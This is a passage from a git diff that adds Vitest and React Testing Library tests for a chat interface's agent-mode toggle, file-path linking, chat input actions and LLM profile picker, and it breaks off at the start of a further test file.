+    expect(screen.getByTestId("code-agent-icon")).toBeInTheDocument();
+    expect(screen.queryByTestId("plan-agent-icon")).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("styled-tooltip-content"),
+    ).not.toBeInTheDocument();
+
+    await user.click(button);
+    expect(screen.getByTestId("change-agent-context-menu")).toBeInTheDocument();
+
+    await user.click(button);
+    expect(
+      screen.queryByTestId("change-agent-context-menu"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("selects plan and code modes from the menu", async () => {
+    const user = userEvent.setup();
+    renderButton();
+
+    await user.click(getModeButton());
+    await user.click(screen.getByTestId("plan-option"));
+
+    expect(getModeButton()).toHaveTextContent("COMMON$PLAN");
+    expect(getModeButton()).toHaveClass(
+      "border",
+      "border-[#597FF4]",
+      "bg-[#4A67BD]",
+      "cursor-pointer",
+      "text-white",
+      "hover:bg-[#597FF4]",
+    );
+    expect(getModeButton()).not.toHaveClass("border-transparent");
+    expect(screen.getByTestId("plan-agent-icon")).toBeInTheDocument();
+    expect(screen.queryByTestId("code-agent-icon")).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("change-agent-context-menu"),
+    ).not.toBeInTheDocument();
+
+    await user.click(getModeButton());
+    await user.click(screen.getByTestId("code-option"));
+
+    expect(getModeButton()).toHaveTextContent("COMMON$CODE");
+    expect(screen.getByTestId("code-agent-icon")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("change-agent-context-menu"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("cycles modes with Shift+Tab without leaking the shortcut", async () => {
+    renderButton();
+
+    fireEvent.keyDown(document, { key: "Tab", shiftKey: false });
+    fireEvent.keyDown(document, { key: "x", shiftKey: true });
+    expect(getModeButton()).toHaveTextContent("COMMON$CODE");
+    expect(mocks.handlePlanClick).not.toHaveBeenCalled();
+
+    const propagated = vi.fn();
+    window.addEventListener("keydown", propagated);
+    const planEvent = new KeyboardEvent("keydown", {
+      key: "Tab",
+      shiftKey: true,
+      bubbles: true,
+      cancelable: true,
+    });
+    let dispatched = true;
+    act(() => {
+      dispatched = document.dispatchEvent(planEvent);
+    });
+    window.removeEventListener("keydown", propagated);
+
+    expect(dispatched).toBe(false);
+    expect(planEvent.defaultPrevented).toBe(true);
+    expect(propagated).not.toHaveBeenCalled();
+    expect(mocks.handlePlanClick).toHaveBeenCalledWith(planEvent);
+    await waitFor(() => {
+      expect(getModeButton()).toHaveTextContent("COMMON$PLAN");
+    });
+
+    const codeEvent = new KeyboardEvent("keydown", {
+      key: "Tab",
+      shiftKey: true,
+      bubbles: true,
+      cancelable: true,
+    });
+    act(() => {
+      document.dispatchEvent(codeEvent);
+    });
+
+    expect(codeEvent.defaultPrevented).toBe(true);
+    expect(getModeButton()).toHaveTextContent("COMMON$CODE");
+    expect(mocks.handlePlanClick).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe("ChangeAgentButton availability", () => {
+  it.each([
+    {
+      condition: "no conversation has started",
+      overrides: { conversationId: null },
+    },
+    {
+      condition: "the agent is running",
+      overrides: { agentState: AgentState.RUNNING },
+    },
+    {
+      condition: "a plan conversation is being created",
+      overrides: {
+        conversationMode: "plan" as const,
+        isCreatingConversation: true,
+      },
+    },
+    {
+      condition: "the websocket is disconnected",
+      overrides: { webSocketStatus: "CLOSED" as const },
+    },
+  ])("disables mode changes when $condition", async ({ overrides }) => {
+    const user = userEvent.setup();
+    renderButton(overrides);
+
+    const button = getModeButton();
+    expect(button).toBeDisabled();
+    expect(button).toHaveClass("opacity-50", "cursor-not-allowed");
+    [
+      "cursor-pointer",
+      "hover:text-white",
+      "hover:bg-white/10",
+      "text-white",
+      "hover:bg-[#597FF4]",
+    ].forEach((interactiveClass) => {
+      expect(button).not.toHaveClass(interactiveClass);
+    });
+
+    await user.click(button);
+    fireEvent.keyDown(document, { key: "Tab", shiftKey: true });
+
+    expect(
+      screen.queryByTestId("change-agent-context-menu"),
+    ).not.toBeInTheDocument();
+    expect(mocks.handlePlanClick).not.toHaveBeenCalled();
+  });
+
+  it("keeps disabled Plan styling non-interactive", () => {
+    renderButton({
+      conversationMode: "plan",
+      isCreatingConversation: true,
+    });
+
+    expect(getModeButton()).toHaveClass(
+      "border",
+      "border-[#597FF4]",
+      "bg-[#4A67BD]",
+      "opacity-50",
+      "cursor-not-allowed",
+    );
+    expect(getModeButton()).not.toHaveClass("border-transparent");
+  });
+
+  it.each([
+    {
+      transition: "the agent starts running",
+      applyTransition: () => {
+        mocks.agentState = AgentState.RUNNING;
+      },
+    },
+    {
+      transition: "the websocket disconnects",
+      applyTransition: () => {
+        mocks.webSocketStatus = "CLOSED";
+      },
+    },
+  ])("closes an open menu when $transition", async ({ applyTransition }) => {
+    const user = userEvent.setup();
+    const { rerender } = renderButton();
+
+    await user.click(getModeButton());
+    expect(screen.getByTestId("change-agent-context-menu")).toBeInTheDocument();
+
+    applyTransition();
+    rerender(<ChangeAgentButton />);
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("change-agent-context-menu"),
+      ).not.toBeInTheDocument();
+    });
+    expect(getModeButton()).toBeDisabled();
+  });
+
+  it("explains why mode selection is unavailable before a conversation starts", () => {
+    renderButton({ conversationId: null });
+
+    expect(getModeButton()).toBeDisabled();
+    expect(screen.getByTestId("styled-tooltip-content")).toHaveTextContent(
+      "CHANGE_AGENT$SWITCH_AFTER_CONVERSATION",
+    );
+  });
+});
diff --git a/__tests__/components/features/chat/change-agent-context-menu.test.tsx b/__tests__/components/features/chat/change-agent-context-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..20339a22afb668151e307f691780af43a49978da
--- /dev/null
+++ b/__tests__/components/features/chat/change-agent-context-menu.test.tsx
@@ -0,0 +1,62 @@
+import { fireEvent, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ChangeAgentContextMenu } from "#/components/features/chat/change-agent-context-menu";
+
+describe("ChangeAgentContextMenu", () => {
+  it("marks the active mode with hover background and a checkmark", () => {
+    renderWithProviders(
+      <ChangeAgentContextMenu
+        activeMode="code"
+        onClose={vi.fn()}
+        onCodeClick={vi.fn()}
+        onPlanClick={vi.fn()}
+      />,
+    );
+
+    const codeOption = screen.getByTestId("code-option");
+    const planOption = screen.getByTestId("plan-option");
+
+    expect(codeOption).toHaveClass("bg-[var(--oh-interactive-hover)]");
+    expect(planOption).not.toHaveClass("bg-[var(--oh-interactive-hover)]");
+    expect(codeOption.querySelectorAll("svg")).toHaveLength(2);
+    expect(planOption.querySelectorAll("svg")).toHaveLength(1);
+  });
+
+  it("shows plan as active when conversation mode is plan", () => {
+    renderWithProviders(
+      <ChangeAgentContextMenu
+        activeMode="plan"
+        onClose={vi.fn()}
+        onCodeClick={vi.fn()}
+        onPlanClick={vi.fn()}
+      />,
+    );
+
+    const codeOption = screen.getByTestId("code-option");
+    const planOption = screen.getByTestId("plan-option");
+
+    expect(planOption).toHaveClass("bg-[var(--oh-interactive-hover)]");
+    expect(codeOption).not.toHaveClass("bg-[var(--oh-interactive-hover)]");
+    expect(planOption.querySelectorAll("svg")).toHaveLength(2);
+  });
+
+  it("calls onCodeClick and onClose when code is selected", () => {
+    const onClose = vi.fn();
+    const onCodeClick = vi.fn();
+
+    renderWithProviders(
+      <ChangeAgentContextMenu
+        activeMode="plan"
+        onClose={onClose}
+        onCodeClick={onCodeClick}
+        onPlanClick={vi.fn()}
+      />,
+    );
+
+    fireEvent.click(screen.getByTestId("code-option"));
+
+    expect(onCodeClick).toHaveBeenCalledTimes(1);
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/components/features/chat/chat-markdown-path-linking.test.tsx b/__tests__/components/features/chat/chat-markdown-path-linking.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5d42760f15a44835abf804ba9e007471872c1974
--- /dev/null
+++ b/__tests__/components/features/chat/chat-markdown-path-linking.test.tsx
@@ -0,0 +1,118 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import ConversationService from "#/api/conversation-service/conversation-service.api";
+import { ChatMessage } from "#/components/features/chat/chat-message";
+import { WorkspaceFilesForChatContext } from "#/components/features/chat/chat-markdown-path-code";
+import { useFilesTabStore } from "#/stores/files-tab-store";
+
+const openWorkspaceFile = vi.fn();
+
+vi.mock("#/services/canvas-ui", () => ({
+  openWorkspaceFile: (...args: unknown[]) => openWorkspaceFile(...args),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "conv-1" }),
+}));
+
+const WORKSPACE_FILES = ["test.md", "motivational_message.md", "src/app.ts"];
+
+function renderAgentMessage(
+  message: string,
+  files: string[] = WORKSPACE_FILES,
+) {
+  return render(
+    <WorkspaceFilesForChatContext.Provider value={files}>
+      <ChatMessage type="agent" message={message} />
+    </WorkspaceFilesForChatContext.Provider>,
+  );
+}
+
+describe("assistant chat Markdown path linking", () => {
+  beforeEach(() => {
+    openWorkspaceFile.mockClear();
+    ConversationService.setCurrentConversation(null);
+    useFilesTabStore.setState({
+      selectedPath: null,
+      selectedConversationId: null,
+      openPaths: [],
+    });
+  });
+
+  it("opens the Files drawer when an existing workspace path is clicked", async () => {
+    const user = userEvent.setup();
+
+    renderAgentMessage("Created `test.md`");
+
+    await user.click(screen.getByTestId("markdown-file-path-link"));
+
+    expect(openWorkspaceFile).toHaveBeenCalledWith("test.md", "conv-1");
+  });
+
+  it("opens the Files drawer for bold-emphasized existing paths", async () => {
+    const user = userEvent.setup();
+
+    renderAgentMessage(
+      "The file **motivational_message.md** has been created with an inspiring quote.",
+    );
+
+    await user.click(screen.getByTestId("markdown-file-path-link"));
+
+    expect(openWorkspaceFile).toHaveBeenCalledWith(
+      "motivational_message.md",
+      "conv-1",
+    );
+  });
+
+  it("links absolute nested working-dir paths using ConversationService working_dir", async () => {
+    const user = userEvent.setup();
+    ConversationService.setCurrentConversation({
+      id: "conv-1",
+      workspace: { working_dir: "/workspace/project/packages/app" },
+    } as never);
+
+    renderAgentMessage("See `/workspace/project/packages/app/src/index.ts`", [
+      "src/index.ts",
+    ]);
+
+    await user.click(screen.getByTestId("markdown-file-path-link"));
+
+    expect(openWorkspaceFile).toHaveBeenCalledWith("src/index.ts", "conv-1");
+  });
+
+  it("does not link paths that are not in the workspace", () => {
+    renderAgentMessage("Send me exactly same text - profile.md");
+
+    expect(
+      screen.queryByTestId("markdown-file-path-link"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByText(/profile\.md/)).toBeInTheDocument();
+  });
+
+  it("does not link missing backtick paths either", () => {
+    renderAgentMessage("See `profile.md` please");
+
+    expect(
+      screen.queryByTestId("markdown-file-path-link"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByText("profile.md").tagName).toBe("CODE");
+  });
+
+  it("keeps path code nested in a Markdown link as plain code", () => {
+    renderAgentMessage("See [`src/app.ts`](https://example.com)");
+
+    expect(
+      screen.queryByTestId("markdown-file-path-link"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByText("src/app.ts").tagName).toBe("CODE");
+  });
+
+  it("does not link ordinary dotted / non-path inline code", () => {
+    renderAgentMessage("Use `console.log` and `v1.2.3`");
+
+    expect(
+      screen.queryByTestId("markdown-file-path-link"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-actions.test.tsx b/__tests__/components/features/chat/components/chat-input-actions.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..58cb28e1def1f3561e70eb902953fce8385859d3
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-actions.test.tsx
@@ -0,0 +1,391 @@
+import React from "react";
+import { fireEvent, screen, waitFor } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+
+const useActiveConversationMock = vi.fn<
+  () => {
+    data:
+      | {
+          conversation_id: string;
+          agent_kind?: "openhands" | "acp";
+          llm_model: string | null;
+        }
+      | undefined;
+  }
+>(() => ({ data: undefined }));
+
+vi.mock("#/components/features/controls/agent-status", () => ({
+  AgentStatus: () => <div data-testid="agent-status-stub" />,
+}));
+
+vi.mock("#/components/features/chat/change-agent-button", () => ({
+  ChangeAgentButton: () => <div data-testid="change-agent-button-stub" />,
+}));
+
+vi.mock(
+  "#/components/features/chat/components/chat-input-profile-picker",
+  () => ({
+    ChatInputProfileMenuContent: () => (
+      <div data-testid="agent-profile-menu-stub" />
+    ),
+  }),
+);
+
+vi.mock(
+  "#/components/features/chat/components/chat-input-llm-profile-picker",
+  () => ({
+    ChatInputLlmProfilePicker: () => (
+      <div data-testid="llm-profile-picker-stub" />
+    ),
+    ChatInputLlmProfileMenuContent: () => (
+      <div data-testid="llm-profile-menu-stub" />
+    ),
+  }),
+);
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+// Service-level mock (not the hook): drives the Switch-agent-profile gate,
+// which reads the real useAgentProfiles query.
+const listAgentProfilesMock = vi.fn();
+vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({
+  default: {
+    listProfiles: (...args: unknown[]) => listAgentProfilesMock(...args),
+    getProfile: vi.fn(),
+    saveProfile: vi.fn(),
+    activateProfile: vi.fn(),
+  },
+  WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME: "default",
+}));
+
+vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({
+  pauseConversation: vi.fn(),
+  resumeConversation: vi.fn(),
+  askAgent: vi.fn(),
+  updateConversationExecutionStatusInCache: vi.fn(),
+  invalidateConversationQueries: vi.fn(),
+}));
+
+// eslint-disable-next-line import/first
+import { ChatInputActions } from "#/components/features/chat/components/chat-input-actions";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+describe("ChatInputActions", () => {
+  afterEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    useActiveConversationMock.mockReset();
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+  });
+
+  it("renders the LLM-profile picker on the home page (local)", () => {
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+
+    renderWithProviders(<ChatInputActions disabled={false} />, {
+      navigation: { conversationId: null },
+    });
+
+    // The pill is always an LLM selector (OSS-5735) — agent-profile switching
+    // lives in the "+" tools menu instead.
+    expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the LLM-profile picker on the home page (cloud)", () => {
+    // Cloud used to fall back to a read-only model chip before a conversation
+    // started, surfacing the raw model path instead of the profile name (#1932
+    // review). The pill names the profile on every backend now.
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+
+    renderWithProviders(<ChatInputActions disabled={false} />, {
+      navigation: { conversationId: null },
+    });
+
+    expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the LLM-profile picker inside a blank local OpenHands conversation", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: { conversation_id: "test-conversation-id", llm_model: null },
+    });
+
+    renderWithProviders(
+      <ChatInputActions disabled={false} hasStartedConversation={false} />,
+      {
+        navigation: { conversationId: "test-conversation-id" },
+      },
+    );
+
+    expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the LLM-profile switcher inside a started local OpenHands conversation", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: { conversation_id: "test-conversation-id", llm_model: "gpt-4o" },
+    });
+
+    renderWithProviders(
+      <ChatInputActions disabled={false} hasStartedConversation />,
+      {
+        navigation: { conversationId: "test-conversation-id" },
+      },
+    );
+
+    // In a conversation the user live-switches the LLM profile.
+    expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the model switcher inside a local ACP conversation", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        agent_kind: "acp",
+        llm_model: "claude-sonnet-4-6",
+      },
+    });
+
+    renderWithProviders(
+      <ChatInputActions disabled={false} hasStartedConversation />,
+      {
+        navigation: { conversationId: "test-conversation-id" },
+      },
+    );
+
+    // ACP in a conversation live-switches the running model via ChatInputModel.
+    expect(screen.getByTestId("chat-input-llm-model")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("llm-profile-picker-stub"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the active conversation model in a cloud ACP conversation", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        agent_kind: "acp",
+        llm_model: "gpt-4o",
+      },
+    });
+
+    renderWithProviders(
+      <ActiveBackendProvider>
+        <ChatInputActions disabled={false} hasStartedConversation />
+      </ActiveBackendProvider>,
+    );
+
+    expect(screen.getByTestId("chat-input-llm-model")).toHaveTextContent(
+      "gpt-4o",
+    );
+  });
+
+  it("omits the model label on cloud when the active ACP conversation has no llm_model", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        agent_kind: "acp",
+        llm_model: null,
+      },
+    });
+
+    renderWithProviders(
+      <ActiveBackendProvider>
+        <ChatInputActions disabled={false} hasStartedConversation />
+      </ActiveBackendProvider>,
+    );
+
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the LLM-profile switcher inside a cloud OpenHands conversation", () => {
+    // /switch_profile is a real endpoint on both backends (cloud proxies
+    // POST /api/v1/app-conversations/{id}/switch_profile) — cloud OpenHands
+    // conversations get the same live-switch picker as local (#1571 review).
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+    useActiveConversationMock.mockReturnValue({
+      data: { conversation_id: "test-conversation-id", llm_model: "gpt-4o" },
+    });
+
+    renderWithProviders(
+      <ActiveBackendProvider>
+        <ChatInputActions disabled={false} hasStartedConversation />
+      </ActiveBackendProvider>,
+    );
+
+    expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("hides the Change Agent button on a local backend", () => {
+    renderWithProviders(<ChatInputActions disabled={false} />);
+
+    expect(
+      screen.queryByTestId("change-agent-button-stub"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the Change Agent button on a cloud backend", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    renderWithProviders(
+      <ActiveBackendProvider>
+        <ChatInputActions disabled={false} />
+      </ActiveBackendProvider>,
+    );
+
+    expect(screen.getByTestId("change-agent-button-stub")).toBeInTheDocument();
+  });
+
+  it("shows the Change Agent button on the home page on a cloud backend", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    renderWithProviders(
+      <ActiveBackendProvider>
+        <ChatInputActions disabled={false} />
+      </ActiveBackendProvider>,
+      { navigation: { conversationId: null } },
+    );
+
+    expect(screen.getByTestId("change-agent-button-stub")).toBeInTheDocument();
+  });
+});
+
+describe("ChatInputActions — Switch agent profile gate (OSS-5735)", () => {
+  beforeEach(() => {
+    useActiveConversationMock.mockReset();
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+    listAgentProfilesMock.mockReset();
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [{ id: "p1", name: "default", agent_kind: "openhands" }],
+      active_agent_profile_id: "p1",
+    });
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  const openPlusMenu = () => {
+    fireEvent.click(screen.getByTestId("chat-plus-button"));
+  };
+
+  it("offers Switch agent profile in the + menu on the home page when profiles exist", async () => {
+    renderWithProviders(<ChatInputActions disabled={false} />, {
+      navigation: { conversationId: null },
+    });
+
+    openPlusMenu();
+
+    expect(
+      await screen.findByTestId("switch-agent-profile-button"),
+    ).toBeInTheDocument();
+  });
+
+  it("offers Switch agent profile in a blank (unstarted) conversation", async () => {
+    useActiveConversationMock.mockReturnValue({
+      data: { conversation_id: "conv-blank", llm_model: null },
+    });
+
+    renderWithProviders(
+      <ChatInputActions disabled={false} hasStartedConversation={false} />,
+      { navigation: { conversationId: "conv-blank" } },
+    );
+
+    openPlusMenu();
+
+    expect(
+      await screen.findByTestId("switch-agent-profile-button"),
+    ).toBeInTheDocument();
+  });
+
+  it("does not offer Switch agent profile once the conversation has started", async () => {
+    useActiveConversationMock.mockReturnValue({
+      data: { conversation_id: "conv-started", llm_model: "gpt-4o" },
+    });
+
+    renderWithProviders(
+      <ChatInputActions disabled={false} hasStartedConversation />,
+      { navigation: { conversationId: "conv-started" } },
+    );
+
+    openPlusMenu();
+
+    expect(await screen.findByTestId("tools-context-menu")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("switch-agent-profile-button"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does not offer Switch agent profile when the backend has no profiles", async () => {
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [],
+      active_agent_profile_id: null,
+    });
+
+    renderWithProviders(<ChatInputActions disabled={false} />, {
+      navigation: { conversationId: null },
+    });
+
+    openPlusMenu();
+
+    await waitFor(() => expect(listAgentProfilesMock).toHaveBeenCalled());
+    expect(
+      screen.queryByTestId("switch-agent-profile-button"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does not offer Switch agent profile while a cloud start task is provisioning", async () => {
+    renderWithProviders(
+      <ChatInputActions disabled={false} hasStartedConversation={false} />,
+      { navigation: { conversationId: "task-start-1" } },
+    );
+
+    openPlusMenu();
+
+    await waitFor(() => expect(listAgentProfilesMock).toHaveBeenCalled());
+    expect(
+      screen.queryByTestId("switch-agent-profile-button"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-field.test.tsx b/__tests__/components/features/chat/components/chat-input-field.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2d93981591d5f216193aeb3bc2f1c04f06c8b052
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-field.test.tsx
@@ -0,0 +1,41 @@
+import React from "react";
+import { screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ChatInputField } from "#/components/features/chat/components/chat-input-field";
+
+function Harness({ disabled }: { disabled: boolean }) {
+  const ref = React.useRef<HTMLDivElement | null>(null);
+  return (
+    <ChatInputField
+      chatInputRef={ref}
+      disabled={disabled}
+      onInput={vi.fn()}
+      onPaste={vi.fn()}
+      onKeyDown={vi.fn()}
+    />
+  );
+}
+
+describe("ChatInputField auto-focus", () => {
+  it("focuses the chat input on mount when enabled", () => {
+    renderWithProviders(<Harness disabled={false} />);
+
+    expect(screen.getByTestId("chat-input")).toBe(document.activeElement);
+  });
+
+  it("does not focus the chat input on mount when disabled", () => {
+    renderWithProviders(<Harness disabled />);
+
+    expect(screen.getByTestId("chat-input")).not.toBe(document.activeElement);
+  });
+
+  it("does not steal focus when disabled flips from true to false", () => {
+    const { rerender } = renderWithProviders(<Harness disabled />);
+    document.body.focus();
+
+    rerender(<Harness disabled={false} />);
+
+    expect(screen.getByTestId("chat-input")).not.toBe(document.activeElement);
+  });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-llm-profile-picker.test.tsx b/__tests__/components/features/chat/components/chat-input-llm-profile-picker.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..689bbd3cc270fcbc11d7f09fd646a165bc24ab13
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-llm-profile-picker.test.tsx
@@ -0,0 +1,159 @@
+import { fireEvent, screen } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderWithProviders } from "test-utils";
+
+const useChatInputLlmProfileStateMock = vi.fn();
+
+vi.mock("#/hooks/use-chat-input-llm-profile-state", () => ({
+  useChatInputLlmProfileState: () => useChatInputLlmProfileStateMock(),
+}));
+
+import { useFreeModelsStore } from "#/stores/free-models-store";
+import { ChatInputLlmProfilePicker } from "#/components/features/chat/components/chat-input-llm-profile-picker";
+
+const PROFILES = [
+  {
+    name: "Fast",
+    model: "openai/gpt-4o-mini",
+    base_url: null,
+    api_key_set: true,
+  },
+  {
+    name: "Smart",
+    model: "anthropic/claude-opus",
+    base_url: null,
+    api_key_set: true,
+  },
+];
+
+const selectProfile = vi.fn();
+
+function state(overrides = {}) {
+  return {
+    profiles: PROFILES,
+    currentProfileName: "Fast",
+    currentProfileModel: "openai/gpt-4o-mini",
+    isLoading: false,
+    isSwitching: false,
+    canSwitchProfile: true,
+    selectProfile,
+    ...overrides,
+  };
+}
+
+describe("ChatInputLlmProfilePicker", () => {
+  beforeEach(() => {
+    selectProfile.mockReset();
+    useChatInputLlmProfileStateMock.mockReset();
+    useChatInputLlmProfileStateMock.mockReturnValue(state());
+    useFreeModelsStore.setState({
+      freeModels: new Set(),
+      defaultModel: null,
+      defaultModelReady: false,
+    });
+  });
+
+  it("renders nothing while loading or when there are no profiles", () => {
+    useChatInputLlmProfileStateMock.mockReturnValue(
+      state({ profiles: [], isLoading: false }),
+    );
+    const { container } = renderWithProviders(<ChatInputLlmProfilePicker />);
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("labels the pill with the current profile name", () => {
+    renderWithProviders(<ChatInputLlmProfilePicker />);
+    expect(screen.getByTestId("chat-input-llm-profile")).toHaveTextContent(
+      "Fast",
+    );
+  });
+
+  it("live-switches to the picked profile", () => {
+    renderWithProviders(<ChatInputLlmProfilePicker />);
+    fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+    fireEvent.click(screen.getByTestId("chat-input-llm-profile-option-Smart"));
+
+    expect(selectProfile).toHaveBeenCalledWith("Smart");
+  });
+
+  it("does not switch when the current profile is re-selected", () => {
+    renderWithProviders(<ChatInputLlmProfilePicker />);
+    fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+    fireEvent.click(screen.getByTestId("chat-input-llm-profile-option-Fast"));
+
+    expect(selectProfile).not.toHaveBeenCalled();
+  });
+
+  it("names the current profile without selectable options when switching is unavailable", () => {
+    useChatInputLlmProfileStateMock.mockReturnValue(
+      state({ canSwitchProfile: false }),
+    );
+
+    renderWithProviders(<ChatInputLlmProfilePicker />);
+    fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+
+    expect(
+      screen.getByTestId("chat-input-llm-profile-current"),
+    ).toHaveTextContent("Fast");
+    expect(
+      screen.queryByTestId("chat-input-llm-profile-option-Smart"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("labels a backend-flagged free OpenHands route in the profile menu", () => {
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(["openhands/deepseek-v4-flash"]),
+      defaultModel: null,
+    });
+    useChatInputLlmProfileStateMock.mockReturnValue(
+      state({
+        profiles: [
+          {
+            name: "Free",
+            model: "openhands/deepseek-v4-flash",
+            base_url: null,
+            api_key_set: true,
+          },
+        ],
+        currentProfileName: "Free",
+        currentProfileModel: "openhands/deepseek-v4-flash",
+      }),
+    );
+
+    renderWithProviders(<ChatInputLlmProfilePicker />);
+    fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+
+    expect(
+      screen.getByText("OpenHands DeepSeek V4 Flash (free)"),
+    ).toBeInTheDocument();
+  });
+
+  it("labels a backend-flagged free OpenHands route in the read-only profile menu", () => {
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(["openhands/deepseek-v4-flash"]),
+      defaultModel: null,
+    });
+    useChatInputLlmProfileStateMock.mockReturnValue(
+      state({
+        canSwitchProfile: false,
+        currentProfileModel: "openhands/deepseek-v4-flash",
+      }),
+    );
+
+    renderWithProviders(<ChatInputLlmProfilePicker />);
+    fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+
+    expect(
+      screen.getByTestId("chat-input-llm-profile-current"),
+    ).toHaveTextContent("OpenHands DeepSeek V4 Flash (free)");
+  });
+
+  it("links to the LLM profiles settings page", () => {
+    const { container } = renderWithProviders(<ChatInputLlmProfilePicker />);
+    fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+
+    expect(
+      container.ownerDocument.querySelector('a[href="/settings/llm"]'),
+    ).not.toBeNull();
+  });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-model.test.tsx b/__tests__/components/features/chat/components/chat-input-model.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..515316338010337eef62c892e32cc344eb233833
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-model.test.tsx
@@ -0,0 +1,343 @@
+import React from "react";
+import { fireEvent, screen } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
